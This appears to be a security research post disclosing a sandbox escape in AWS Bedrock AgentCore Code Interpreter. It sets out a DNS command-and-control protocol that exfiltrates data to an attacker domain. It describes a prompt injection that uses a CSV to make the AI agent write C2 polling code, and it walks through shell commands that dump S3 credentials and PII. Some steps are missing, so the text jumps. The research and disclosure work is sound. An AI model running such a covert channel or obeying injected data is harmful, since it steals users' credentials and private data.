Pwning AI Code Interpreters in AWS Bedrock AgentCore

Code Interpreter sits at the end of this chain, executing code either pre-written by the developer or generated on the fly by the AI agent itself. It provides several tools. For example, you can have it execute Python, JavaScript, or shell code. You can also have it create/ update/ read/ delete files within the code interpreter. If you configure the Network mode to Sandbox, it shouldn’t have any external network access (although it was able to somewhat magically access certain AWS resources via its assigned IAM role, like S3 or DynamoDB). You can also configure it to run inside a VPC, giving you more control over network access, or dangerously there’s a “public” mode with full public internet access.

The Code Interpreter runs within Firecracker microVMs, which are lightweight VMs designed for secure and isolated code execution. This is what powers AWS Lambda functions and Fargate tasks. (We applaud AWS for providing strong isolation properties of a full KVM-based VM; other “agent as a service” vendors are not providing such solid isolation at the compute level.) There is all sorts of strange behavior with AgentCore Code Interpreter’s Firecracker microVM implementation, some of which has been covered in previous research, such as this post from Sonrai Security which performed credential exfiltration via metadata service access. In a future post, we’ll cover some of these odd behaviors in more detail.

However, we checked the Interactsh terminal and discovered that the DNS query reached our server, despite the “no network access” configuration.

We decided to report this to AWS, demonstrating that DNS queries were escaping the sandbox, and pointing out that this could be used to create a full command & control channel. However, the AWS security team requested a full proof of concept demonstrating bidirectional communication and interactive reverse shell, so we developed a DNS command and control channel to achieve this.

Part 2: Creating the Proof of Concept - a DNS Command-and-Control Protocol

We took it as a challenge to create an impactful proof-of-concept demo. We created a command-and-control channel that smuggles commands via chunked ASCII in DNS A records and exfiltrates data via long subdomains.

Command and Control Architecture:

The attack leverages DNS as a bidirectional communication channel to establish the reverse shell. The key steps are:

1. Payload Delivery: The attacker sends a payload that is fed to the Code Interpreter, supplying a unique session ID. In a real-world scenario, the chatbot (or other input vector) would need to accept the user’s prompt and allow the user to influence the Python code that gets executed, which is an acceptable use case for some modern AI chatbots. The core logic of the payload is in the payload_client.py file in the repository. It tells the code interpreter to:
   1. Poll the attacker’s DNS command and control server for commands stored in DNS A records
   2. Execute received commands
   3. Exfiltrate output via DNS subdomain queries
2. Command Delivery: Operator sends commands via HTTP API (port 8080) to the DNS command and control server running on EC2. The server encodes commands as base64 and splits them into 3-character chunks. Each chunk is encoded in an IP address where octets 2-4 contain ASCII values of the characters.
3. Data Exfiltration: The sandboxed Code Interpreter makes DNS queries that Route53 delegates to the command and control server via nameserver (NS) records. Output is base64-encoded and embedded in DNS subdomain queries. The command and control server extracts the data from these queries and makes it available to the operator via the HTTP API.
4. Sandbox Bypass: Despite “no network access” configuration, DNS queries egress from the sandbox. Route53 nameserver delegation ensures all DNS queries for the command and control domain reach the attacker-controlled DNS server on EC2.

Command Delivery Protocol (Server -> Client)

Commands are delivered through DNS A record responses. The client polls for commands, and the server responds with IP addresses encoding command data.

Here’s how a command is encoded:

```

Client queries: c0.sess_abc123.c2.bt-research-control.com
Server responds: 10.100.50.104
↑ ↑ ↑ ↑
│ │ │ └─ ASCII 104 = 'h'
│ │ └──── ASCII 50 = '2'
│ └──────── ASCII 100 = 'd'
└─────────── 10 = more chunks, 11 = last chunk

```

Example encoding for command whoami (base64: d2hvYW1p):

```

Example (command "whoami" → base64 "d2hvYW1p"):
c0: 10.100.50.104 → "d2h"
c1: 10.111.89.87 → "oYW"
c2: 10.49.112.0 → "1p"
c3: 11.105.0.0 → "i" (last chunk)

```

The first octet indicates whether more chunks are available (10) or this is the final chunk (11). Octets 2-4 contain the ASCII values of three base64 characters.

Data Exfiltration Protocol (Client -> Server)

Output is base64-encoded and embedded in DNS subdomain queries. Multiple cache-busting fields ensure each query is unique and reaches the DNS server:

```

Query: 1.1.22.1234.MjAyNS0wOC0yMSAyMDoyMDo1NA-.1.sess_abc123.c2.bt-research-control.com
↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑
│ │ │ │ │ │ └─ Session ID
│ │ │ │ │ └─── cmd_seq (cache bust)
│ │ │ │ └────────────────────────────── Base64 output chunk (convert '=' to '-' to keep text DNS-safe)
│ │ │ └─────────────────────────────────── Timestamp (cache bust)
│ │ └────────────────────────────────────── Total chunks
│ └──────────────────────────────────────── Chunk number
└─────────────────────────────────────────── Command sequence (cache bust)

```

Large outputs are split into multiple chunks with a maximum of 60 characters per DNS label (the DNS label length limit is 63 characters).

What’s happening here? When the AI agent or chatbot is preparing to call the Code Interpreter, it generates Python for the Code Interpreter to execute. If the CSV is read into LLM inference (included as part of the prompt) then it will consider these to be part of the instructions. As such, the generated Python will do what we instruct it to here - poll the command-and-control server with DNS requests and listen for bash commands to execute.

Step 2: Attach to the Code Interpreter Session

The command-and-control server session ID is saved to .session_id automatically. To connect to the command-and-control server, you can use the following helper command:

```

make connect-session

```

What's happening here? The payload embedded in the CSV includes a unique session ID (e.g., sess_a1b2c3d4) that acts as a routing key. When the payload executes inside the Code Interpreter sandbox, it starts making DNS queries to cmd.<session_id>.<c2-domain>, polling for commands. Our C2 server sees these queries arrive and registers the session as active.

make connect-session reads the session ID from .session_id (saved during Step 1) and opens an interactive operator shell. From here, everything is tunneled over DNS per the previously described C2 protocol.

Step 3: Basic Command Execution

Now that the code interpreter is calling home to the C2 server, we can verify that the basic command execution works through DNS. If you run whoami, you will get the output genesis1ptools. For example:

The sandboxed Code Interpreter successfully receives the command via DNS A record responses and exfiltrates the output via DNS queries - completely bypassing the “network access” restriction.

Step 4: Abuse AWS Privileges

Next, we can demonstrate that the Code Interpreter’s IAM role can be leveraged to access AWS resources:

Example 1: List S3 Buckets

Run the commands below. Note: you will have to change the name of the S3 bucket to match the one created in your demo environment:

```

aws s3 ls

```

The output will include the buckets and the list of files:

```

# aws s3 ls

2025-10-19 08:23:50 agentcore-hacking
2025-10-19 10:36:59 agentcore-hacking-sensitive-data

# aws s3 ls s3://agentcore-hacking-sensitive-data/ --recursive
2025-10-19 10:37:00 220 credentials/api-keys.json
2025-10-19 10:37:00 228 customer-data/users-export.csv
2025-10-19 10:37:00 153 financial/Q3-2024-revenue.csv

```

Evidence:

As you can see, the Code Interpreter successfully lists S3 buckets and their contents, demonstrating that an attacker can discover sensitive data locations through the DNS channel.

Example 2: Exfiltrate Sensitive Data

Finally, to demonstrate exfiltration of actual file contents from S3, run the following commands:

```

aws s3 cp s3://agentcore-hacking-sensitive-data/customer-data/users-export.csv -
aws s3 cp s3://agentcore-hacking-sensitive-data/credentials/api-keys.json -
aws s3 cp s3://agentcore-hacking-sensitive-data/financial/Q3-2024-revenue.csv -

```

The output should look like the following:

```

# users-export.csv
user_id,email,name,phone,ssn_last4
1001,[email protected],John Doe,555-0101,1234
1002,[email protected],Jane Smith,555-0102,5678
1003,[email protected],Bob Wilson,555-0103,9012
NOTE: Contains PII - Handle with care

# api-keys.json
{
"service": "payment-gateway",
"api_key": "pk_live_FakeKey",
"api_secret": "sk_live_FakeSecret",
"environment": "production",
"note": "DO NOT SHARE - CONFIDENTIAL"
}

# Q3-2024-revenue.csv
Date,Department,Revenue,Confidential
2024-07-01,Sales,125000,Yes
2024-08-01,Sales,138000,Yes
2024-09-01,Sales,142000,Yes
Total,Sales,405000,CONFIDENTIAL

```

Output in the AgentCore hacking toolkit will resemble the following:

As you can see, the complete file contents, including PII, credentials, and financial data, are successfully exfiltrated through DNS queries, all while the sandbox reports “no network access.”

Step 5: Cleanup

To clean up the demo infrastructure, run the following command:

```

make terraform-destroy

```

Originally, Sandbox mode was an “isolated environment with no external access” (Wayback Machine link). AWS documentation updated to “limited external network access” (link).